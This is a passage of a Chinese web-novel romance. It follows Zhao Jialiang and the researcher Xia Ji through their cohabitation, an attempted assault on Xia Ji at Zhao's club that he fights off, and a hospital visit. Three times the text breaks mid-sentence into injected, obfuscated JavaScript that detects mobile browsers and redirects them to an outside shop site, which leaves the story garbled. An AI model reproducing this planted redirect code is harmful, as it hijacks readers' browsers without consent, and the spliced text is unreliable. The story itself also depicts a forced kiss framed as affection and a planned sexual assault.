等到三四个月后,项目终于告一段落,夏季终于可以和同事们一起休息两天了。还不待他好好计划这难得的两天休息时间,他就被领导逮住,亲自打包送往赵嘉良的住处。 美曰其名:让年轻小两口好好培养感情。 但是夏季看领导离开时的眼神,分明有种:“伺候不好财神爷你下周也别来了”的警告。 然后无语凝噎的夏季就这么稀里糊涂的开始跟赵嘉良同居了。 “宝贝你可终于出来了!”徒有名分没有讨到半点好处的赵嘉良这时候已经因为夏季,耗资超过十位数了。虽然这些钱砸下去都听到回响了,但那些都不是赵嘉良真正想要的。 不过好在他的努力虽然没有被爱人看到,但被组织看到了! 奉旨同居的赵嘉良当时就跟开屏的孔雀一样,根本是要把夏季架起来烤~ 天知道在此之前从来没有正经谈过恋爱的夏家心里有多别扭。 “赵嘉良!你放开我!”纵使夏季悔不当初,自己当时就不该在进组审批的时候,在个人情感关系这一栏添上赵嘉良的名字! 可这世界上没有后悔药。 而恋爱三个月,连个小手都没拉过的赵嘉良就跟饿的绿了眼睛的狼一样。也不知道他哪儿来的力气,一只手就托着夏季的腿把他单手抱了起来。 “好宝贝,想死我了~”男人眼中翻涌的情绪让夏季心头一惊,这让他原本准备挣扎的动作一僵。 也就是这一瞬的迟疑,让他失去了最佳的反抗机会。 等后面夏季再回过神来的时候他已经被赵嘉良甩到了柔软的大床上,被他按着亲。 从来没有这种亲密体验的夏季被他粗暴的亲吻弄懵了。 等他回过神来的时候,两人过大的体型差距让他甚至连拒绝的空间都没有。 一直到男人亲够了,终于支起上半身准备解衣服的时候,夏季的一巴掌才把他打回神。 “滚下去!”虽说美人即使是生气也依然美得不可方物。但看着身下那人儿微红的眼角,赵嘉良心里还是咯噔一下。身子动的比脑子快,一个翻身就从床上滚下去了。因为动作太急,还发出一声不雅的“咚咚”声。这让原本已经准备发火的夏季,被这一变故弄得没忍住笑了出来。 “宝贝~”赵嘉良一屁股坐在地上,有点幽怨的望着还在嘲笑自己的那人,眼神中的委屈让夏季有点不忍直视。 不知怎么的,他总是能从这位赵总身上幻视自家小时候养的大黄狗。 那种在外人面前看起来凶巴巴,在自家人面前委屈巴巴的小模样,总是给夏季一种莫名的熟悉感。 思及此,夏季终于叹了口气。 半晌,他坐直身子,拍了拍床沿,“别坐地上了,坐上来吧。” 后面的事情,其实就发展的顺其自然了。 夏季当时虽然心有不甘,但毕竟也不是个食言而肥的人。他既然答应要给赵嘉良机会试试,那就一定会跟他“试试”。 所以那天对赵嘉良来说,实在有点像个甜蜜的噩梦。 “艹!你特么的怎么什么都不会?!”夏季满头大汗的把男人一脚从床上踹下去的时候是真的控制不住脾气的要骂人了。 很显然,赵嘉良在某些方面的表现实在很难令人满意。 别看恶名在外的赵家家主威风八面,但人玩意儿但凡沾上点儿恋爱脑,基本也就废了一半了。 尤其是赵嘉良这种有祖传恋爱脑在身,一辈子只能爱一个人的家伙~别看他顶着一张很能唬人的脸,但其实在某些方面的熟练程度还不如夏季。 后面赵嘉良也曾暗戳戳的问过夏季为什么他懂得那么多,是不是之前跟别人处过... 当时夏季只是恶狠狠的瞪了他一眼,“没有!我只是学习过相关理论知识。” 赵嘉良不解,“你以前没交过男朋友的话为什么要学这方面的理论知识?” “你没查过我在夏家的过往经历吗?”夏季睨了他一眼,“我可是差点儿就跟周家大少爷办过订婚礼的,你说我为什么要学?” 他的这番话让赵嘉良顿时如临大敌。 虽然周家大少爷周临川此时已经跟夏家养子夏荣完婚,但一想到夏季之前跟别的男人有过一段,赵嘉良还是浑身难受。 “那...你喜欢他吗?”赵嘉良心里咯噔一下。 以这段时间他跟夏季的接触来看,夏季其实并没有圈里某些人刻意抹黑的那么卑微无能。实际上夏季因着跟王今安的渊源,背靠着王院士这尊大佛,即便是跟夏家刚正面他也未必不能有一战之力。如果夏季真的不愿,又有谁能强迫他跟一个不喜欢的人订婚呢? 一想到这儿,赵嘉良也顾不上自己还光着膀子,整个就跟在醋坛子里泡了三天一样浑身冒酸泡。 见状,夏季冷笑一声,“我要真喜欢他,能让夏荣给我戴绿帽子?你真当我是个博爱好脾气的人?” 赵嘉良看着刚刚在床上把自己快踹成麻瓜的家伙,顿时一噎。但还是不放心的腆着脸蹭了上去,刨根问底的想要了解夏季的情感史。 跟感情经历一片空白的赵嘉良不同,夏季虽然没有谈过恋爱,但确确实实的订过婚。 “据说夏家跟周家的婚约是爷爷那辈儿就定下的娃娃亲。”关于婚约的事情,夏季也是后面回到夏家之后才知晓的。“周家只有一个儿子,夏家这边也巧了,全是儿子。不过跟周镇川的男女通吃不同,夏燃是个钢铁直男,而且他未来极有可能是要继承夏家的。所以两家的婚约自然就落到夏家小儿子身上了。” 由于夏季不到三岁就被夏家人送去了山坳坳里,作为有姻亲的周家虽然也察觉了些风声,但明显夏家当时的态度对养子夏荣更好,所以他们也就睁一只眼闭一只眼的默认了周镇川和夏荣的婚约。 本来一切都好好的,周镇川跟夏荣也这么两小无猜,青梅竹马的长大了。 可偏偏这时候,夏季又回来了。 “其实按照老一辈儿的正经婚约,跟周镇川有婚约的本就应该是我这个夏听风的亲儿子。”说起这个婚约,夏季简直想笑,“我刚回来的时候,周镇川也是整个圈子里唯一对我释放善意的人...可夏荣喜欢周镇川,又一直视他为己物,又怎么会允许我这个后来者抢走他的东西呢?周家看到我回来之后,考虑到我毕竟是夏家亲生的,而夏荣只是养子,就想更换联姻对象。然后我就开始三天两头的上热搜了。” 最初尚且怀揣着对亲情抱有期待的夏季就这么毫无防备的回到了夏家,而迎接他的,除了生母的恶意针对之外,夏荣这个佛口蛇心的养弟更是刷新了夏季对于人性中“恶”的下限。当时的周镇川算是夏季在这个圈子里见识过的唯一一个还算“正直”的人,所以在回归夏家后夏季当时是想过要作为夏家子孙履行婚约的。 周镇川曾经无数次的跟夏季表白,说喜欢他,一定会跟他结婚。结果后面喻馨给夏季暗上一身丑闻后,以股权为要挟,周镇川表白时说的那些誓言就跟放屁一样烟消云散了。 “我对周镇川顶多算有一点好感,说喜欢还真谈不上。”夏季淡淡的说,“我第一眼看到他的时候就觉得这人很虚伪,事实也证明了我的感觉没有错。” 只是当时的夏季在夏季孤立无援,除了虚情假意的周镇川能稍微让他松懈几分之外,其他人各个不是省油的灯。 “回京市以前,我总也想不明白为什么妈妈不要我,总想回到京市后要当面跟她问清楚。”夏季最开始想的其实很简单,他只想回到京市,回到家人身边后要个答案。 可喻馨显然并不想给他答案。不仅如此,她还要捂夏季的嘴。 于是后面她和夏荣的各种针对污蔑也就理所当然了。 夏季其实脾气并不好。只是他那时候已经提前几年开始申请王院士的保密项目,算是为王静女士的物理启蒙之恩的一种报偿。而当时因为保密工作的种种困难,上面竟觉得夏季这种舆论背景很适合来保密项目上干活,于是便有了后面夏季捏着鼻子被骂了好几年都不能还嘴的憋屈事。 毕竟一个对外名誉扫地,偷鸡摸狗不学无术,靠恩情关系才混到名师名下的废物,总是比一个聪明能干,天赋异禀的少年天才更容易让人放松警惕的。 在多方的努力下,在赵嘉良连夏季的手都没摸到的时候,他俩铁铁的包养关系就已经被锤死了。 赵嘉良思来想去觉得自己不能吃亏,于是死皮赖脸的要求坐实关系。 “这些年你辛苦了~”赵嘉良心疼的想要抱抱他。但被对方一脸嫌弃的眼神定在原地,不得不尴尬的摸了摸鼻子,“内个,刚刚我没发挥好,能重来一次吗?” 很快,两人的话题便从某位连前任都算不上的“扫兴哥”身上重新回归当下。 因为夏季最开始还对母爱亲情抱有一丝幻想,还想过回归夏家后要好好尽到夏家子孙的职责,所以在他决心应下这门婚约后,对那方面的知识尚且一片空白的夏季还妥帖的去恶补了一下相关知识。 不过后面因为周镇川顶不住压力重新选择了夏荣,夏季的这方面知识也就一直没用上。 直到今天决定跟赵嘉良“试试”后,夏季才意识到自己当初的决定是多么的英明。 赵嘉良虽然没啥经验,但好歹也是二十多岁的正常成年男人。尤其是在跟夏季确定关系之后,他也是专门研究过相关的问题,力求给心上人一个最好的体验。 只是赵嘉良没想到的是,夏季这家伙不仅人长得娇滴滴的,在床上的时候也格外娇滴滴,是半点苦头也不肯吃的。两人折腾的都出汗了,他还是没能满足对方“一点痛”都不能有的要求。 当时也还年轻的赵嘉良并没有往对象太娇气这方面想,只一味的觉得是自己不够好,达不到对方的要求。。。 因此,在后面夏季回实验室继续工作后,赵嘉良在某些方面可是花了大功夫潜心研究了好一段时间的。 甚至为了能“积累”经验,他还特地在京市开了几家会所~如今这些会所也都是生意红火,赚的盆满钵满。至于赵嘉良具体是怎么积累经验的...这可能就是世界第十大未解之谜了。 在夏季第二次休假的时候,赵嘉良信心满满的要带他去体验一下自己这个月打下的江山了!(不是 可偏偏就是这次去会所玩,顺便带夏季见见朋友的事情,让夏季差点儿出了事。 自从离开夏家之后,夏季的日子那是过的一天比一天滋润。 虽然谈了个不称心如意的男朋友有点败兴致,但年轻人嘛,还是比较想的开的。 所以在赵嘉良即将把会所开遍京市后,他的那帮狐朋狗友都迫不及待的想见识一下这位能一举把赵家最凶狠的新人家主驯服的“金丝雀”长什么样儿。 “照我说良哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16215251|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是见识少了。咱们京圈的大美人本就不在会所里,那些高门大户养出来的少爷小姐们,长得好看的是有。可但凡真有姿容出众的,哪个不是明码标价高高挂起?”能跟赵嘉良玩的好的,也大多是圈里混不吝的主。说话的这位林家二公子林沐阳就是跟赵嘉良在酒桌上认识的。 两人差不多是臭味相投,除了赵嘉良祖传恋爱脑让他搞不出欺男霸女的事情之外,其他方面两人倒是玩的很合拍。 几个朋友见赵嘉良只是一味的翻看手机消息却并不回话也是来了兴致,调侃道,“咱们良哥虽然长着一张会所男模老大的脸,但在谈恋爱这方面还是清纯哈~” “也不知道夏家那小子到底长得多给劲儿,能把眼高于顶的良哥迷成这样!” 当然,席间也有之前跟赵嘉良一起谈合作时,有幸见过夏季本尊的。在他们的描述下,众人对夏季的兴致更浓厚了。 虽然这帮人大多是二世祖,但圈里的那些腌臜事儿他们从小到大见的也不少了。 “夏家那个养子是混娱乐圈的,从小出道就以美貌著称。这新回来的亲儿子要是把他艳压了,那他可真混不下去咯。”这其中的利害关系,长个眼睛的人都能看出来。 赵嘉良听着狐朋狗友们议论纷纷的调侃,心中却是有些忐忑。 之前他听今安姐说过,夏季二十多岁了还从没去过酒吧会所这种地方。 但赵嘉良在很想带夏季融入自己的圈子,并且让他见识一下自己这一个多月来的努力成果,所以还是力邀夏季在这个月的假期中来自己的会所玩玩。 只是他的消息发过去后夏季明显有些不高兴,赵嘉良本想亲自去接他下班的,但被无情拒绝了。最后无法他只能让司机去接,算算时间这时候早该到了啊... 一直到包间里的众人把能猜测的话题都聊了个遍,赵嘉良明显有点坐不住的时候,那位传说中的夏家弃子,赵嘉良新豢养的金丝雀夏季,才姗姗来迟。 “你催什么催?”本来今晚能放鸽子的事情夏季是很开心的。可赵嘉良说什么都要带他见朋友,夏季就不那么开心了。正好原定六点下班的时候实验数据又出了点儿小问题,夏季只能跟同事们一起抢救数据。 期间赵嘉良的电话信息没断过,让本就因为数据烦心的夏季真的很想骂人! 他这么想的,也就这么做了。 结束了这一阶段的实验任务后,夏季衣服都来不及换,怒气满满的坐上赵嘉良司机的车,直接来了会所。 夏季这一进门,像是直接给原本喧闹的包间按下了静音键。 原本来赵嘉良会所玩的朋友们大都是带了伴儿的。他们这些不缺钱的二世祖,身边什么样的俊男美女都玩过。可唯独夏季这一款,别说他们没玩过了,甚至是见都没见过! “我滴个乖乖~”刚刚还在大放厥词的林家老二这时候直接连眼睛都看直了。 因为是刚下班的缘故,夏季身上的白大褂还没有脱。他内里传了一件米色羊绒衫,和黑色的长裤。明明是研究所里最普通的研究员打扮,但他这身略显皱巴巴的白大褂往身上那么一披,就颇有种不容亵渎的庄重感。 可偏偏那人又长了一张映丽无双的脸,周身的冷傲骄矜的气质更是跟这一屋子的靡靡之音格格不入。 他的到来,就仿佛是一个高贵的精灵落入灯红酒绿处,让原本就在这儿的众人反而拘谨起来了。 “艹!”赵嘉良原本还在担心夏季不来,会让自己在兄弟们面前丢面子。 可如今夏季来了,他反而更加不高兴了! 因为了解这帮狐朋狗友的德行,所以赵嘉良不用问都知道这帮畜生脑子里在想什么了。 此时,他也顾不得其他,立即起身环住不情不愿的那人的肩膀,掷地有声道,“介绍一下,这位就是我对象,夏季。” “以后大家碰到都跟我客气点,知道吗?!” 赵嘉良如同一只宣誓主权的雄兽一般,锐利的目光从在场所有人的面上扫过。看着他这副宝贝的紧的模样,刚刚被狠狠惊艳了一下的众人也只能暗暗在心中大骂夏家人暴殄天物,但面上还是纷纷捧场的应和。 并不适应这种场合的夏季勉强维持着面上的冷漠,在赵嘉良的笑声作揖恳求下,才勉强落座。然后赵嘉良大概为夏季介绍了一下自己关系比较好的几个朋友。 几个相熟的兄弟小心翼翼的上前敬酒,但都被夏季无视了。 “我搞科研的不喝酒哈~”赵嘉良打着哈哈帮他解释。 只见赵嘉良满脸都是对炫耀老婆的自豪,完全没有兄弟吃瘪的愧疚。 可饶是如此,夏季在这乌烟瘴气的地方坐了一会儿之后还是很不高兴。眼看着他沉着脸一副快要生气了的模样。赵嘉良赶紧安抚的把人搂在怀里,小声道歉,“是不是不喜欢这儿?我给你准备了一个房间,一会儿我带你过去看看?你保准喜欢!” 夏季不喜欢烟味儿,但在这种人多的包间里难免有点味儿。 “不要一会儿,我现在就要过去!”虽然不高兴,但夏季还是会在赵嘉良的朋友面前保留他最基本的面子。 夏季要走赵嘉良是拦不住的。 只见他双手揣在白大褂的兜里,整个人骄矜清贵的扬了扬下巴,丢下句“我先走了”,然后就头也不回的出去了。 从夏季进门到离开,中间拢共也不过十几分钟... “真带劲儿啊~”待他离开后,不知是谁忽然冒出来了一声。 赵嘉良锐利的视线立刻跟刀子似的扫了过去。 “他,有主了。懂?” 原本赵嘉良是准备跟这帮小子们交代几句之后再跟心上人共享快乐夜晚时光的。 只是那帮混不吝的二世祖太气人,赵嘉良受不住脾气锤了几个,然后才志得意满的出去找夏季。可就是在他这短短的锤人功夫里,等他再出去就找不到夏季人了! 最开始发现夏季不见了的时候赵嘉良是一点不慌的。 自从往某些机构投钱投多了之后,他也是知道了一些保密项目的规矩。就比如夏季这种当时还是非最高机密普通工作人员,身上都是有专业的定位的。若是他真出了什么事儿,相关部门反应的肯定能比赵嘉良快。 可他揍完兄弟从包间出来之后绕着停车场走了两圈都没看到夏季人。 再回会所问服务员的时候,前台小姐表示压根就没见过那位非常惹眼的白大褂先生出去。 18.第 18 章 正是因为这家会所是赵嘉良名下的产业,所以起初没有找见夏季人的时候他并没有多紧张,只想着他是不是去洗手间或者走错道儿之类的。 可是在联系过自己专门给夏季配备的司机,又把整层的服务员全都问了个遍后,赵嘉良才真急眼了。 “艹!我特么那么大个老婆呢?!”赵嘉良给夏季打了几个电话全都无人接听,一直到这个时候,他才后知后觉的产生了担忧焦急的情绪。 不过好在夏季并没有让他担忧太久,很快楼下包间里传来的打砸声音就引起了会所工作人员的注意。赵嘉良也是下意识朝那边张望了一眼。 就一眼,那抹刺眼的白就让他目眦欲裂。 “夏季!” 也不知道这才刚刚分开不久的时间里到底发生了什么,等赵嘉良终于再找见夏季的时候,他已经跟某个包间的客人打成一团了! 而且更让赵嘉良心惊胆颤的是,从局面上来看,显然是那一群人在围攻夏季一个! 在自己的地盘上发生这种事情,赵嘉良要是不做点什么那他可真成孬种了。 只见他那帮狐朋狗友闻讯赶来的时候,当时的战斗已经进行到白热化了。 “卧槽~这年头新生代的科研人员都要有这种级别的战斗力了吗...?”某位胆子稍小点儿的小伙伴忍不住咂舌道,“良哥果然还是牛逼啊,这么凶残的雀儿也就他敢养了吧...?” 此时关于夏季是如何这帮人起冲突的尚不得而知,但他打人的架势像跟那帮人是有不共戴天之仇看着却是真真的! 别看夏季长的娇柔漂亮,可他跟赵嘉良第一次见面就把人锤的中度脑震荡的事情已经足以说明一些问题。而现在,他一个人面对对面五个人的时候也是丝毫不虚。那身刺目的白大褂上沾染着点点红痕,让整个场面都有种癫狂的不真实感。 赵嘉良从楼上往下跑的时候心中还万分焦急,生怕自己跑慢点自己的心肝宝贝会吃亏。可真当他一分钟后跑到楼下包间门口的时候,战场已经是一片狼藉。 从战况是行来说,夏季一个打五个还能丝毫不落下风。他手上不知从哪个凳子腿上“就地取材”的武器也是被他挥的虎虎生风,那几个将他团团围住的男人不仅无法近他的身,甚至还被夏季颇有些章法的攻击手法打的节节败退。 等赵嘉良带着会所保安到达现场的时候,那几个围攻夏季的男人身上多多少少都挂了彩。 “夏季!”赵嘉良冲过去的时候,夏季显然还没有从战斗状态中缓过来。 赵嘉良不顾他手上的凳子腿,一个健步就冲了上去,从背后紧紧抱住了那人略显单薄的后背。 只是他这一抱不要紧,正处在精神高度紧绷状态下的夏季本能的就是一记反手肘击。只听男人发出一声闷哼,但紧紧抱住他的动作却并未有半点放松。 “别怕,是我。”赵嘉良明显感觉到怀中的人儿浑身一僵,随即才缓缓放松下来。 那一瞬,赵嘉良的心中是既愧疚又心疼的。 “抱歉我来晚了。” 后面的事情自然是由会所的人解决的。 当然,赵嘉良既然身为老板,那么有的事情,他自然是可以在合理合法的范围内,多做一些的。 就比如夏季是如何跑到一楼的包间,跟他们的人打起来的这个问题,自然有赵嘉良的手下会打探的一清二楚。 夏季这时候整个人都有点脱力一半的虚弱。 他喘着气,任由男人脱下外套把自己裹得紧紧的。等夏季稍稍缓了一口气回过神来,他已经被赵嘉良打横抱了起来。众目睽睽之下,这种公主抱的姿势让夏季本能的感觉不适,他挣了两下低声威胁,“放我下来!” 可此时两只手都在发抖的赵嘉良现在满脑子都是后怕。 别说放开他了,就是撒一下手他都是万万不可能的。 于是在周五的夜晚,会所生意最好的时候。无数人都见证了这一幕。 赵家那位最是冷酷无情的新任家主赵嘉良,冲冠一怒为红颜的收拾了几个胆敢肖想他豢养的金丝雀的家伙。然后赵总还十分宠溺的亲自把他那娇养的雀儿公主抱了出来,眼神中的温柔怜惜更是藏都藏不住。 至于那位在赵嘉良怀中仅仅只露出来半张脸的夏家弃子夏季,之前因为夏家从未在正式场合介绍过这位走失的亲儿子。所以圈里大部分人在听了喻馨等人故意放出来的丑闻之后,对夏家老二的印象都停留在粗鄙不堪的,手脚不干净的乡下泥腿子上。 可今日一见,那位被赵总小心翼翼拢在怀中的青年仅仅只露出了半张巴掌大的小脸,却俨然成为很多人心中最为惊艳的惊鸿一瞥了。 也正是因此,在场人全信了:夏季果然是被家族抛弃后转而投入赵嘉良的怀抱,全靠脸得到了赵家新家主的庇护的! 再加上赵嘉良之前大张旗鼓的兴修土木,扬言要为自己的心上人建造一座夏园。这个名字,这个缘由,听起来就有点儿跟开玩笑似的,但当赵家的资金流源源不断的往这个项目中投资的时候,这个项目的落地就显得势在必得了。经此一事,原本还只是小范围传播的“包养”传闻也是锤的不能再锤了。当然,这些都是后话了。 因为这件事情的突发状况,赵嘉良也顾不上原本精心安排的道具,和等待心上人验收的“成果汇报”了。 这时候已经完全回过神来的夏季是继续给抱着也不是,挣脱也不是。 最后也不知道他咋想的,那时候脸皮还有点薄的夏季选择了拽起男人的外套衣,缓缓的摆盖住了自己的脸。 几个月的辛勤工作换来的一个周末的休息时间,最终耗费了一半在医院里。 赵嘉良把人从会所抱出来的时候两个眼睛都是赤红的。 在送夏季去医院的路上,他就让自己最信任的心腹阿九去彻查今晚夏季从自己眼皮子底下离开的那十几分钟里到底发生了什么。 “你衣服上好多血,哪里受伤了吗?”一直到这时候赵嘉良说话的声音中还带着颤。 头一次见有人为自己担忧成这样的夏季心一软,低声说,“我没事,身上都是别人的血。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16247758|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 可他的说法赵嘉良是信不了半点的。 世家豪门的孩子,尤其是男孩儿,从小就或多或少的会被家长要求学习一些格斗技巧,至少也会学一些自保的战斗技巧。 而赵嘉良从小就是个争强好胜的家伙,所以格斗术从小就在练得没停过。后面他蛰伏多年,在母亲死后彻底跟父亲撕破脸。在那段惊险时光中,赵嘉良也没少亲自跟人动手。 但正是战斗经验丰富,赵嘉良才越能看出夏季刚刚的1V5有多凶悍。这绝不是他这样一个独自在山村长大的孩子应该有的正常状态。 赵嘉良以前的格斗老师教的,都是如何战胜一个对手。而夏季打法则显然不是要战胜,而是要杀死对手那般凶狠。即使是赵嘉良这种老手面对这种拼命的打法时心里都要掂量掂量,更何况是那五个来会所玩的男人? 他们或许是马尿喝多了,又或许是别的什么原因来找夏季的麻烦。但从他们刚刚的表现看来,他们并不是来找夏季拼命的,不然也不会五对一还被打的那么惨。 “宝贝,刚刚到底怎么回事?你怎么会跟那几个人打起来?”越是意识到这一点,赵嘉良心中就越是懊悔和心疼。 他不知道夏季的这种不要命的打架方式究竟是经历了多少惨痛的教训,才培养出来的条件反射。他只知道,此时对方洁白的白大褂上满是血污。 虽然夏季嘴硬说自己没受伤,可当赵嘉良怜惜的去牵他的手时,还是注意到了他手掌上那道深深的伤口。 “伤口这么深还说没受伤?!”男人几乎是气急败坏的吼出声。 之前赵嘉良跟夏季亲近的时候就察觉到他的右手手掌有一道很深的疤。 当时他问的时候,夏季说是小时候打架的时候弄的。而今天的他的伤口同样是在右手手掌,那道原本就十分狰狞的疤痕如今鲜血淋漓的,看着愈发可怖。 “那个凳子腿上有钉子,没注意挂了一下。”夏季说的轻飘飘的,却让赵嘉良急的不行。 他再三催促着司机开快点,一到医院就抱着夏季冲进急诊,要求赶紧给他打破伤风针。 也是这个时候,赵嘉良对夏季的忍痛能力有了一个新的认知。 由于夏季手上的伤口实在有点深,又是陈年旧疤上的重新开口,医生不得不给给他进行伤口缝合。而从最开始的清创到后面的缝针,虽说有着局麻,但整个过程中夏季连吭都没有吭一声。他面不改色的模样,让夜间外科急诊的小护士都忍不住赞赏的多看了他好几眼。 等一切结束后,赵嘉良还是忍不住十分不解的问,“我怎么感觉你好像很能忍痛的样子啊...” 夏季揉了揉自己被包扎的严严实实的右手,淡淡的“嗯”了一声。“我确实挺能忍痛的。” “可为啥那什么的时候,我稍微力气大点儿你都又大又踹的?”赵嘉良有点点委屈。 可夏季只是冷笑着抬起头,“该忍得忍,不该忍的不忍。我这辈子吃得苦受的痛都那么多了?凭什么要再添一个你来让我自己不舒坦,我又不是犯贱。” 19.第 19 章 这时候的夏季,其实是个情感淡泊的人。除了一起出生入死过的王今安之外,夏季原以为自己很长一段时间都不会跟谁建立亲密关系了。可人算不如天算,赵嘉良就在他吃够了亲情的苦,准备封心绝爱的时候强行塞进来了。 在夏季缝针的时间里,赵嘉良能干的手下就已经把会所刚刚发生的事情查的一清二楚了。 阿久是这段时间刚被赵嘉良调到会所看场子的。得知老板带对象来会所玩,结果在他手底下出了这种事情,他十分恼火。 那几个当场就被夏季打的半死的男人又被阿久强行“友好交流”了一阵,在搞清楚来龙去脉后他立刻跟老板汇报了情况。 “已经问出来了,是夏家那个老幺。” 自从赵嘉良决定追求夏季后,调查夏家陈年往事的事情就被他交给最信任,也是路子最野的手下,阿久。 这时候其实夏家的事情已经被查的一清二楚。本来赵嘉良最近因为忙着想方设法跟夏季负距离,没有把打击报复放在首位。但现在的情况,显然是他还没来得及给夏季出头,就有人迫不及待的要跳脸输出了。 夏季虽然打针缝针全程连眉头都没皱一下,但看着他几乎没什么血色的唇,赵嘉良还是忍不住狠狠的把人摁住,亲了一大口。他这毫无章法的一口直接把夏季都给亲懵了,他抬手擦了擦脸上的口水,有些不悦道,“你这又是发什么疯?” 赵嘉良看着他白大褂上的斑驳血迹,实在心里憋屈的厉害。他一边扒夏季染血的褂子一边低声说,“你知道刚刚你打的都是些什么人吗?” 夏季的脸色变了变,语气不善道,“我管他什么人的,就是天王老子来了敢碰我一下,我都要剁了他的手!” 听他这么说,赵嘉良这才终于露出一个笑容。 “你说的对,不管是谁,敢冒犯你都得付出代价。” 他这笑的不怎么好看,反而有种恶意丛生的可怖感。 夏季见他这死样子心里就了然了七八分。 “是喻馨还是夏荣?” 他之前从包间出来的时候本想直接坐电梯去地下车库的,谁知到了电梯一楼的时候忽然进来几个人。 这几个人夏季是一个都不认识的,但他们却都能精准的叫出自己的名字,显然是有备而来。 因为天杀的赵嘉良搞的是高端会所,每层的包间数量都很少,往来的走道上更是按照五星级酒店的装修搞的极其静音。在没有服务员随意走动的情况下,夏季起初想的是好汉不吃眼前亏,先看看这些人要干什么再说。反正这是赵嘉良的地盘,想来自己但凡消失十分钟以上,那个狗男人就算是个大傻逼也该开始找自己了。 脾气不好,耐性也不怎么样的夏季给自己定下了拖延十分钟的目标,而事实上夏季也确实做到了。可让他没想到的时候,这都过去快二十分钟了,那几个男人都上手把自己往一个包间里拽了,赵嘉良还没出现。 等不下去的夏季心情极差的决定用自己的方式来解决这个问题。 之所以敢动手,是因为从这几个男人极尽下流的言语间,夏季立刻就提取到了重点,也大概搞清楚了他们来堵自己的目的。 夏季知道,只要自己跟他们进了那个包间,自己就会SQ新闻满天飞,身败名裂。 但在空无一人的长长过道上,赤手空拳的他面对五个人高马大又精虫上脑的男人并无胜算。 于是在拉扯间,他忽然就笑了一下。 本就生的极美的人,微微垂眸,长长的羽睫颤抖着带着些许勾人的意味。这让接下这任务的几人看的心神荡漾,恨不得立刻上手好好把弄一番。 “你们别拽,我自己会走。”美人的声音也是清冷好听的,倒是勾起了几人的怜香惜玉之情。 其中一人笑眯眯的搂了搂夏季的肩膀,调笑道,“那小哥哥就乖乖的跟我们一起走,我们保证特别温柔的~” 夏季冲他笑了笑,笑的特别好看,特别迷人。 然后进了包间不到三分钟,那位搂了夏季的男人手断了。 对于夏季直截了当的猜中答案,赵嘉良的心情更加不好了。 “抱歉,我没想到会所的安保竟然会是个问题。”其实这种声色犬马的地方,或多或少都会有些灰色事件的问题。这是赵嘉良在涉足这行之初就预料到了的。只是他没有预料到的是,这个问题竟然会发生在自己的爱人身上! “夏荣他...”赵嘉良眉头紧锁,似是还有没想通的地方。 “这不是他第一次干这种事了。”夏季冷笑道。 若自己真是个无知愚昧,在山村里长大的普通农村孩子,进了夏季大门说不定早死八百回还带拐弯的了。但有时候事情就是这么充满惊喜和意外,在山坳坳里野蛮生长的夏季天生就是聪明过人,还非常幸运的遇到了他这一生的贵人,王静女士。 虽然这个相遇对夏季来说是恩赐,对王静来说是地狱。但无论如何,这都确实改变了夏季的人生轨迹。 “夏家简直欺人太甚!”赵嘉良这时候已经按捺不住内心汹涌的狂躁心理了。 可夏季的一句话让他的所有冲动都冷静了下来。 “夏家的事情你不要插手,我想自己解决。” 本来按照夏季的计划,他要在毕业之后把自己失去的东西重新拿回来。 可谁知学海无涯~ 本科毕业之后保了研,读研的时候又跟着王院士鸡犬升天。虽然现在他还只是个在国家最高级别研究室里打杂的,但即使是这种打杂的工作,放在科研界都有数不清的天才骄子打破头的抢名额。 小家和大家孰轻孰重,正常人心里都能做出取舍。 夏季当然也知道赵嘉良可以帮自己轻松解决掉所有麻烦。 但关于双亲的事情,夏季还是希望自己亲自做个了解。只是那时候的夏季也没想到自己毕个业会这么...遥遥无期。 因为“打杂”期间表现优异,再加上有些家学渊源,夏季这次之所以能多休两天也有部分原因是他周一要到相关部门做保密项目审查。 “项目名称我不能告诉你,但目前看来,保密项目大概要做五年。”回去的路上,夏季向赵嘉良透露了一些信息。 男人沉默片刻,反问,“但既然是最高级别的保密项目,你应该连这些都不该跟我透漏吧?” 夏季微微一笑,“只是内容最高级,但项目名称已经宣传的全世界都知道了。” “还有,我领导让我问问你,这次的优质项目你准备投多少?” 作为半个研究人员家属,赵嘉良也是获取了一些好处的。 就比如之前他心心念念的,想找王院士拿的航空特种材料数据,在跟夏季交往之后他就顺利拿到手了。只是其中他付出的金钱和收获的回报完全不成正比,属于是亏麻了的那种买卖。 但赵家虽然有钱,但在科研领域可以说是毫无人脉。 以赵嘉良的商人逻辑思维来说,他只能寄希望于自己多投资,让夏季在研究所里多些优待。虽然他也不知道这么做是不是真的能有足够的回报,但只要是可能对夏季有帮助的,他都愿意试一试。 “投,一定投。”这种国家级的大项目肯定是不会让私人资本主导的。但在一些不涉及机密的外围项目中,大家还是乐得能省省原则。 也得亏赵嘉良家底够厚。 他在继承了赵家的家族企业后,同时也整合了母亲娘家,余氏那边的资产。如今的赵家在他的带领下也算是重回巅峰,只是赵嘉良总觉得自己现在都这么厉害了,还不能给夏季出口气实在憋屈的厉害。 于是,在伺候夏季回家休息后,他给阿久打了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 